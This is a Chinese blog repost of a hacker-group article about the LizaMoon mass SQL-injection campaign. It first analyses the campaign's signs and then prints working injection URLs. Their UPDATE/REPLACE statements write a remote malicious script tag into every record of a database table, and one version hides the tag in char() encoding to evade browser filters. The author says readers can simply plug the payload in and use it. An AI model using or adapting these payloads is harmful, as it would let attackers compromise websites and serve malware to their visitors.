病毒安全知识,电脑网络技术,手工杀毒方法,答疑解决笔记

导航

« aspnet_clientsqlsrv_20019125.exe »

转载《丽莎月亮注入手法详解》

  原标题《LizaMoon SQL Injection(丽莎月亮注入)手法详解》 作者:YoCo Smart 来自:Silic Group Hacker Army

  那天在Silic Group核心群看到诸位大黑阔们在讨论,后来看Q群里的一位成员在我MSN讨论群里跟土耳其一个朋友要lizamoon的攻击脚本,我才知道有这么回事。一开始确实没打算写lizamoon,因为这个东西在圈内其实根本就不算什么,大牛们看完我写的这篇文章估计都该笑了,根本就不是什么高深技术,就是用注入来挂马而已,写了脚本批量扫批量挂,虽然暂时还不知道此次挂马的是哪位高人,不过看手法明显是一个专业挂马的,一夜间挂上第二天所有挂马页消失,挂马连接无法访问。

  之所以被媒体炒作这么大,原因有三点吧,一是这次挂马可以用迅雷不及掩耳(盗铃,我邪恶的加上了这俩字)来形容,其速度简直比0day还恐怖。第二,这次受害的站点包括了苹果公司的iTunes站,这是让人很意外的事情。第三,源于媒体本身就有爆料吸引眼球和炒作的性质,以及安全厂商的跟风夸大报道。什么还360已经能够抵御lizamoon的攻击。给我一个小时,我也能写个软件抵御丽莎月亮注入挂马,你不纯粹扯淡么,听听都搞笑,日本核辐射你能不能也一起抵御了?

  这是当天iTunes网站被挂马时候在Google搜索的结果:

iTunes网站被挂马时在Google搜索的结果

  那天群里面他们讨论,然后小白说等我文章,我当时很莫名其妙,因为我没有说我要写关于lizamoon的文章。不过查了一下,国内也没相关的资料,小白也看过那个批量攻击脚本的代码截图,但是她说写论文没时间不肯在群里说,核心群里的朋友都是一起好几年的,没必要藏着掖着,我干脆把lizamoon直接写出来共享就算了,省的这个跟我要代码那个跟我要脚本的,我还要一个一个给。

  我废话了这么多,但是我还是要说,这个攻击手法真的真的真的很普通,甚至可以用很弱来形容。我说了,他的强大主要在于速度快,这得益于他的批量攻击脚本写的强大。批量扫批量注。

  好吧正文分两部分,第一部分是我还没拿到土耳其朋友给的脚本之前,我所了解到的一些信息和分析,第二部分是核心部分,我不想多讲,我只贴注入代码,更详细的分析,我觉得没必要。为什么呢,大牛们看了代码就知道了,就是一个把挂马代码直接植入到数据库的注入代码。

I 前期特征及其了解

  为什么媒体和安全厂商要来炒作丽莎月亮,或者说,丽莎月亮是什么,丽莎月亮怎么来的。丽莎月亮是个直译单词,原文是lizamoon,这些我觉得我都不需要再赘言解释了。那么lizamoon这个词是怎么来的呢,你看个代码就知道了:

"</title><script src="http://lizamoon.com/ur.php"></script>"

看到这个网址了?就是这么来的。这个ur.php就是挂马页,这句代码就是挂马代码,据我MSN讨论群里的一位科索沃朋友统计,本次被挂马的页面(不是网址,是页面。url和page有区别)实际共有4.5millions。

  一开始的情况就是很多网站被植入了这段代码,后来有发现hosts也被改了:127.0.0.1       lizamoon.com

  根据大家的反映,挂马事件通常都是发生在mssql2005+存在asp.net环境的系统中,加上连hosts都被改,这样来看的话,有两种可能

1是拿到webshell使用asp.net的漏洞提权了
2是mssql2005存在提权0day

很多人觉得mssql2005存在0day,连微软都在数据库页面发布了关于lizamoon安全通告,这才引起了有些人恐慌。不过大家忽略了一个问题,有脑子的人都应该注意到,此次iTunes网站也被挂马了,挂的很受伤。难道iTunes也用的mssql?除了banner Server: AkamaiGHost 再把网站目录随便一个小写目录改成大写访问就404了,显然是Unix无法用mssql,也就是说mssql2005存在0day的炒作就不攻而破了。

  那么到底是什么问题呢,写到这里,我觉得大家可以哈哈大笑了,其实就是最最普通的注入。你平时发现一个注入点怎么做呢?注入查询管理员密码,到后台登陆取得webshell,提权取得服务器。对吧?这里就不对了,lizamoon不需要得到管理员信息,直接将挂马代码update到数据库,仅此而已。而之所以lizamoon选中了mssql,原因在于mssql可以像MySQL一样,不需要猜表,可以将表段的名称爆出来,而ASP+access就只能暴力猜解。别说国外,国内都很少用十几年前Win98时代的产品mssql2000了吧,这就是为什么被挂马的网站服务器都装有mssql2005的原因了。至于iTunes不使用mssql都被挂马,我个人认为只要iTunes不是用的access,而且又有注入点的话,被挂马有什么稀奇,如果被人找到了管理后台,并且得到了webshell,那首页都毫无悬念的保不住。我的解释虽然不官方,但事实确实是这样。

  我想大牛你已经不需要看下去了,因为下面我要说的是第二部分,注入代码。

II 具体注入代码和方法

  首先假设一下(额。。。都已经有上百万的实际挂马例子了,我觉得我再找一个实际例子,这个是不是会被人骂我脱裤子放屁?我还是假设一下好了)假设挂马页面在这里:http://blackbap.org/ur.php 再来假设注入点在这里:http://blackbap.org/sql.aspx?id=100 这里的注入点指的是没有对获取的变量严格过滤的。。。(我X,这不净废话么,注入点还有别的意思么我#%$&*E$%R#$#@%$^)

  那么下面我要进行的注入语句就是:
http://blackbap.org/sql.aspx?id=100 update [YOURTABLE] set AltText=REPLACE(cast(AltText as varchar(8000)),cast(</title><script src="http://blackbap.org/ur.php"></script> as varchar(8000)),cast(char(32) as varchar(8)))–

具体代码我觉得我不需要解释了吧?懂的人都知道这个是把挂马连接插入到表里的每条记录上面,不懂的人我觉得你只要会套进去用就够了吧?

  这里有个疑问点,就是黑客如何知道数据库的表段名称。额。。。这个问题其实很雷人,懂mssql注入的人都应该会知道mssql可以通过查询获得表段名称,而不是像access一样需要暴力猜解。这也就是lizamoon这个批量注入挂马攻击脚本的强大之处,也是这个lizamoon唯一值得称赞的地方了。

  至于上面的语句,我还没有说完,实际我看到的批量攻击脚本有两个版本,虽然大同小异,不过有一个地方有区别。土耳其黑客手上的脚本是我上面给出的注入代码,而我看到的俄罗斯黑客手上的脚本,攻击代码中多了引号,也就是这样:

http://blackbap.org/sql.aspx?id=100 update [YOURTABLE] set AltText=REPLACE(cast(AltText as varchar(8000)),cast("</title><script src="http://blackbap.org/ur.php"></script>" as varchar(8000)),cast(char(32) as varchar(8)))–

挂马代码这里有引号,这是我看到的区别。老实说,我并不知道这个引号的作用-_,啊哈,这个笑话好冷,至于哪个是正宗嫡传,我觉得你自己去试就知道了,因为我要说的注入代码里的关键问题不在这个地方,这里只是个小插曲。

  从最弱智的说起,你如果浏览器是IE8以上版本,你用这样含script的语句你不觉得浏览器会提示你,地址存在跨站已经修改之类的警告么。就算你本地浏览器允许你这么做了,那个语句里的引号还是有问题。多余的我不说了,所以实际脚本里面的攻击语句是这样的:

http://blackbap.org/sql.aspx?id=100 update [YOURTABLE] set AltText=REPLACE(cast(AltText as varchar(8000)),cast(char(60)+char(47)+char(116)+char(105)+char(116)+char(108)+char(101)+char(62)+char(60)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(32)+char(115)+char(114)+char(99)+char(61)+char(34)+char(104)+char(116)+char(116)+char(112)+char(58)+char(47)+char(47)+char(98)+char(108)+char(97)+char(99)+char(107)+char(98)+char(97)+char(112)+char(46)+char(111)+char(114)+char(103)+char(47)+char(117)+char(114)+char(46)+char(112)+char(104)+char(112)+char(34)+char(62)+char(60)+char(47)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(62) as varchar(8000)),cast(char(32) as varchar(8)))–

  好了,关于lizamoon的我觉得没什么可讲的了。这就是脚本里面的核心代码了。如果我再讲下去,是不是要从perl脚本基本语法、mssql基本语法,一直讲到perl如何扫描网站根据回显爆mssql表名称?顺带讲讲利用aspx怎么提权?好了,文章到此结束,再讲真的就过分了。记得版权所有,转载请注明原文地址 送张图:

丽莎月亮注入手法详解

本文图片均取自:Silic Group Hacker Army核心群,与文章一样扯淡版权所有,如要复制,自己谷歌。


>> 除非说明均为原创,如转载请注明来源于http://www.stormcn.cn/post/992.html

发表评论(无须注册,所有评论在审核通过后显示):

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

  • 微信订阅号
    微信订阅

最新发表

最新评论及回复

本站出现的所有广告均不代表本人及本站观点立场 | 关于我 | 网站地图 | 联系邮箱 | 返回顶部
Copyright 2008-2020 www.stormcn.cn. All Rights Reserved. Powered By Z-Blog. 闽ICP备09000343号

闽公网安备 35010202000133号